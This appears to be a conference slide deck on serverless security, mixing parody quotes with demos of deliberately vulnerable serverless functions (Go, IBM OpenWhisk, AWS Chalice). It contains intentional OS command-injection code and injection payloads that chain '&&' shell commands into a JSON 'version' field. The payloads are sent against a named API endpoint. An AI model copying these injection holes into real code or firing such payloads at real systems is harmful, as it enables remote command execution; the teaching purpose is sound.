"I Accept Serverless,

I'm not sure whether it accepts me."

- serverless dylan

whoami

The Point

  • Serverless != Marketing Trend

  • InfoSec 👍 📰 & 📉📰

  • Your bad code is still bad

    • g0sh1t

    • broken-whisk

    • broken-chalice

Serverless Manifesto Summary

  1. Functions as unit of deployment/scale
  2. Devs shouldn't "see" the server/container/VM
  3. Statelessness via offloaded storage
  4. Scales per request
  5. Never pay for idle 
  6. Metrics and logging are a universal right.

Serverless Isn't...

  • Just marketing 
  • Lack of Servers
  • BaaS
  • PaaS

Serverless Is...

  • Functions as a Service (FaaS)
  • Opinionated Framework for Containers/Compute
  • Vendor managed server stacks
  • ServiceFULL
  • Fundamental shift in security's value proposition

Before Serverless there was...

  • Physical Servers
  • Server clusters and VMs
  • The cloud (IaaS)
  • PaaS

Serverless rEvolution

  • 2012 Ken Fromm [1]
    • Then: It’s no longer “Why cloud?” or even “How cloud?”
    • Now: "Where cloud?"
  • 2014 - 2015:
  • 2016:
  • ​​2017:

It's damn cheap!

"After a $30K invoice in September, our AWS bill for the month of December is projected to be less than $4,000."

https://read.acloud.guru/how-going-serverless-helped-us-reduce-costs-by-70-255adb87b093

"Last and probably most significantly, the free Readability API was costing the company roughly $10,000 per month..."

 

"....Serving 39 Million Requests for $370/Month"

https://trackchanges.postlight.com/serving-39-million-requests-for-370-month-or-how-we-reduced-our-hosting-costs-by-two-orders-of-edc30a9a88cd​

"Code doesn't talk it swears"

- serverless dylan

Tool Obsolescence

  • Firewalls
  • IPS (Intrusion Prevention Systems)
  • Legacy WAF
  • RASP (Runtime Application Security Protection)
  • SAST*
    • Limited effectiveness

"This IAM role is your role and this IAM role is my role, sure, but the world is run by those that have no idea what an IAM is."

- serverless dylan

"Anybody can encrypt and manage keys. That's always been the easy way. It's not that it's so difficult to unencrypt and lose keys; it's just that there's nothing, absolutely nothing, that we say that's actually worth encrypting."

- serverless dylan

I became interested in PHP because I had to make it somehow.

- serverless dylan

"Patching a server makes hideous sounds."

- serverless dylan

Increase Specialization

  • DAST (Dynamic Application Security Testing)
  • + Manual Assessments (Power to the People)
  • + Least Privilege IAM Policy
  • + SCA (Software Composition Analysis)
  • = 💪 Stack

Yesterday, stored the logs in memory, tomorrow splunk is supposed to help me.

- serverless dylan

"'All the money you save will never buy back your soul."

- serverless dylan

"Function Level RBAC appeals to me because of the negative space it allows. It can shut you out or shut you in. And in some ways there is no difference"

- serverless dylan

Event Sources...are complex? ¯\_(ツ)_/¯ - Ory Segal (puresec.io)

g0sh1t

zeit.co - now

g0sh1t

import (
	"bytes"
// .....................
	"os/exec"
	"strings"
)

// Run string as os/exec command, use accordingly
// Special thanks to: https://github.com/wickett/lambhack
func Run(cmd string) string {
// ......................
	args := append(commands[:0], commands[1:]...)
	c := exec.Command(command, args...)
// ......................
	return out.String()
}

zeit.co build

Broken

Whisk

Shenanigans

IBM Cloud Functions (based on Apache OpenWhisk) is a Function-as-a-Service (FaaS) platform which executes functions in response to incoming events and costs nothing when not in use."

Apache OpenWhisk is a serverless, open source cloud platform that executes functions in response to events at any scale.

IBM Cloud Functions

IBM Cloud Functions

  • Actions and Web Actions
  • Triggers
  • Sequences

broken-whisk

# Action
import sys
from os import popen

def main(dict):
    out = str(popen("whoami").read())
    return {"message":out}

# OUTPUT
{
  "message": "root\n"
}

broken-whisk

# Action
import sys
from os import popen

def main(dict):
    address = dict["address"]
    out = str(popen("cat /etc/*-release").read())
    return {"message":out}

# OUTPUT
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debiannHOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"


Findings...

  • Already root
  • No wget, curl, nc etc...
  • Commodity/scripted attacks
  • No apparent caching?

Broken

Chalice

Shenanigans

Chalice

  • Python Serverless Microframework for AWS
    • A command line tool for creating, deploying, and managing your app
    • A familiar and easy to use API for declaring views in python code
    • Automatic IAM policy generation
# $ pip install chalice
# $ chalice new-project helloworld
# $ cd helloworld
# $ cat app.py

from chalice import Chalice

app = Chalice(app_name="helloworld")

@app.route("/")
def index():
    return {"👋": "🌎"}

# $ chalice deploy
...
https://endpoint/dev

$ curl https://endpoint/api
{"👋": "🌎"}
  • A simple vulnerable Flask application.

    • Python code injection
    • Operating System command injection
    • Python deserialization of arbitrary data (pickle)
    • XXE injection
def rp(command):
    return popen(command).read()

################################################
# os command injection
@app.route('/lookup', methods = ['POST', 'GET'])
def lookup():
    address = None
    if request.method == 'POST':
        address = request.form['address']
    return """
    <html>
       <body>""" + "Result:\n<br>\n" + (rp("nslookup " + address).replace('\n', '\n<br>')  if address else "") + """
          <form action = "/lookup" method = "POST">
             <p><h3>Enter address to lookup</h3></p>
             <p><input type = 'text' name = 'address'/></p>
             <p><input type = 'submit' value = 'Lookup'/></p>
          </form>
       </body>
    </html>
    """
  • Low-effort vulnerable chalice app
  • USE WITH CAUTION
  • Take no responsibility for AWS repercussions
# Command Execution
@app.route('/trial-balloon-art', methods=['POST'])
def getTrialBalloonArt():
    if request.method == 'POST':
        version = app.current_request.json_body['version']
        print("version equals: "+version)
        sigsciBalloon = "https://dl.signalsciences.net/trial-balloon/{}/art".format(version)
        out = rp("curl {}".format(sigsciBalloon))
        return out
curl -i -s -k  -X $'POST' \
    -H $'Host: muz3lx8vbc.execute-api.us-west-1.amazonaws.com' \
    -H $'Content-Type: application/json'\
    --data-binary $'{\"version\":\"0.0.9\"}\x0d\x0a' \
    $'https://muz3lx8vbc.execute-api.us-west-1.amazonaws.com/api/trial-balloon-art'
{"version":"0.0.9 && echo 'issaLASummitX' > /tmp/sprkyco.txt \ 
&& stat /tmp/sprkyco.txt"}
{"version":"0.0.9 && cat /tmp/sprkyco.txt"}

Take Serverless Serious

Learn to Dev

Special Thanks

whoami